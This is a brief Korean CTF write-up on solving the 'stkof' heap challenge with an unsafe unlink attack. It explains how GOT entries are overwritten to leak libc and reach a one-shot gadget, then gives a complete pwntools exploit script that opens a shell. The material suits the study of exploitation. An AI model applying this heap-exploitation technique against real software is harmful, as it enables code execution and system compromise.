vulnerability : unsafe_unlink
unsafe_unlink가 기억이 안나 복기할겸 문제를 풀었다.
이 문제같은 경우는 할당한 heap영역들을 0x602100에 저장하면서 free나 fread를 할 때도 0x602100에 있는 값을 기준으로 하기 때문에 unsafe unlink 공격이 가능했다.
0x602100에 strlen@got를 공략했다.

strlen의 got를 puts의 주소로 덮어쓰면 puts(s[index])가 되어 libc leak이 가능하기 때문이다.
그래서 0x602100에 strlen@got를 넣고 fread()함수를 통해 puts@plt를 넣은 후 릭을 하였고, 다시 0x602100에 puts@got 주소를 넣어 거기에 oneshot 가젯을 넣으며 익스를 했다.
from pwn import *
def malloc(size):
p.sendline("1")
p.sendline(str(size))
#print p.recv()
def write(index, size, payload):
p.sendline("2")
p.sendline(str(index))
p.sendline(str(size))
p.send(payload)
def free(index):
p.sendline("3")
p.sendline(str(index))
def leak(index):
p.sendline("4")
p.sendline(str(index))
return u64(p.recv(6).ljust(8, "\x00"))
if __name__ == '__main__':
elf = ELF('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./stkof')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
strlen_got = elf.got['strlen']
malloc(128)
malloc(128)
payload = p64(0)*2
payload += p64(0x602130)
payload += p64(0x602138)
payload += p64(0)*142
payload += p64(0x490)
payload += p64(0x90)
#pause()
write(1, len(payload), payload)
#pause()
free(2)
#print p.recv()
payload = p64(0)*2
payload += p64(strlen_got)
payload += p64(0x602130)
payload += p64(puts_got)
write(1, len(payload), payload)
#print p.recv()
write(0, 8, p64(puts_plt))
print p.recv()
#pause()
libc_puts = leak(2)
libc_base = libc_puts - libc.symbols['puts']
oneshot = libc_base + 0x45216
log.info("libc_puts = {}".format(hex(libc_puts)))
log.info("libc_base = {}".format(hex(libc_base)))
log.info("oneshot = {}".format(hex(oneshot)))
write(2, 8, p64(oneshot))
p.interactive()